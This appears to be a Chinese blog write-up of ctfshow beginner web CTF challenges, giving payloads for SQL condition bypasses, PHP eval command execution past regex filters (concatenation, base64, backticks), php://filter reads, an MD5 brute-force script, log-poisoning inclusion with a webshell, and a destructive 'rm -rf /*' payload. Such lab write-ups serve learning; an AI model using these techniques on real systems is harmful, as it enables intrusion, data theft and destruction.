萌新
前言
经常做ctfshow上面的题目,发现这个是真心的不错,就是除了做不出来也没什么了,害!
萌新
web1
没啥好说的,看到源码提示id不能大于999,还要等于1000,直接取反,payload?id=~~1000
,没过滤,直接得到flag
web2
细节同上
web3
同上
web4
同上
web5
同上
web6
同上
emmm
其实,上面那些都是非预期题解,预期题解的话还需要细说啊
总之,预期题解,在下一题的提示即过滤中可以看到。因此前面的构造payload分别为:
web1 :?id=100 or id=1000//就是用一个id小于999的来进行验证,然后再给他一个1000的值进行判断
web2 :相同的原理,直接为?id=100 ||id=1000
web3 :?id=100 ||id=1000
web4 :?id=100 ||id=1000
web5 :?id=~~1000
web6 :?id=~~1000
对于~
,是在这个数字加一的基础上进行取反,所以两次操作就会变为原来的数字。
web7
二进制操作。
用python转换进制:十进制转换用int(),十六进制转换用hex(),二进制转换用bin,八进制转换用oct()
。
web8
说来就很神奇,这个万万没想到是payload:rm -rf /*
,得到flag?
what?清空库存跑路了?
web9
别看这些花里胡哨的,既然提示在config.php文件里了,直接构造payload:?c=system('cat config.php');
,然后F2得到flag。
web10
还是一样的源码,不过这次是if(!preg_match("/system|exec|highlight/i",$c)){ eval($c);
,所以就不能直接用刚才的payload了。那么换个不就好了。直接构造payload为:passthru('cat config.php');
,得到flag。
然后,php中作为执行系统命令的函数有:
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
另外一种解法,命令行拼接。不让我用system函数,我就非要用。所以就构造payload为:$a='syst';$b='em';$c=$a.$b;$c('cat config.php');
web11
根据上面的操作直接进行拼接,构造payload为:$a='ca';$b='t';$c=$a.$b;passthru("$c config.php");
注意,这里函数内部要用双引号,如果是单引号,php语言无法处理达到你的目的。
原因:在php语言中单引号串和双引号串的处理是不同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。
也就是说,如果这里用了单引号的话,php会认为他就是一个普通的变量c,无法解释出系统命令cat的功能。
web12
比起11多了一个if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
,直接cat 还有文件名都给过滤了。
不慌,这波咱们有个闪现,耗子尾汁吧。所以构造payload:$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
,得到flag。传统ctf讲究点到为止,出题人耗子尾汁吧。
web 13
这个就更加狠了if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
,直接分号给过滤了。然后这个用上面的办法没法子做了就,就尝试了一下passthru("ca''t")?>
,发现没有出错,然后这样子只需要想办法把config.php文件给包含进去就好了。然后就百度了一下,了解到了在Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句。所以,这个思路就来了,payload就跟着来了:
passthru("ca''t `ls`")?>
得到flag
用到的知识
1、可以利用php中的?>来闭合语句
2、Linux中的反引号作用是优先执行
3、可以利用引号绕过cat过滤
web14
我:阿呆,早死早超生啊
打开if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
,发现过滤东西又多了,这次括号也过滤了。没事,不慌,直接百度了一波,发现了绕过的姿势。所以构造payload为:include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
,得到一串base64编码的字符串,解码得到flag。
web15
打开题目,if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
,发现过滤了?和>
,但是这个不妨碍我构造payload啊。所以构造payload为:include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php
,同样得到base64加密字符串,解码得到flag。
另一种解法,一个大师傅说的可以构造payload为:?c=echo \$_POST[a];
,接着以post方式请求一个a=cat config.php
,但是不知道为什么小弟没有复现成功。反而是上面的get改为post成功了。
web16
换菜了,他终于换菜了。
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
echo $flag;
}else{
echo "nonono!";
}
}else{
highlight_file(__FILE__);
}
?>
在这里我的直接就是脚本爆破了。
然后脚本一直是我的弱点,这次就尝试写一个简单的
import hashlib
#建立爆破的字典str
str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890+-*/'
#从一个字符开始尝试,逐渐往下加
for i in str:
for j in str :
for k in str:
s=hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
#让ctfshow和字符i,j,k拼接在一起,转化为MD5值,hexdigest函数实现字符存储
if s== 'a6f57ae38a22448c2f07f3f95f49c84e':#判断值是否符合条件
print(i+j+k)#输出字符c的值
然后爆破得到c的参数值:36d。构造payload:?c=36d
,得到flag。
web17
换菜了换菜了,那个男人他终于换菜了。
打开题目
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php/i",$c)){
include($c);
}
}else{
highlight_file(__FILE__);
}
?>
可以看到传参c,过滤了php
字段。然后尝试用data协议写文件
时,提示
说明无法利用data协议进行操作。然后在不断的尝试中发现了这个题目禁止了远程文件包含,所以就想到了之前做题遇到的日志包含,详情可以看我的这个博客
根据上面操作,直接传一句话木马进去,蚁剑链接成功。得到flag。
web18
做题方法同上,这里提供一个大佬做题的方式
首先通过错误页面得到环境是基于Ubuntu搭建的。然后默认日志文件路径为/var/log/nginx/access.log
,接着burpsuit
抓包,按照图示修改
然后放包,得到flag。
对于获得这个36d.php
文件,大师傅就只有一句system();可以得到,有点迷,是我菜了。
web19
方法同上,两个都可
web20
同上
web21
同上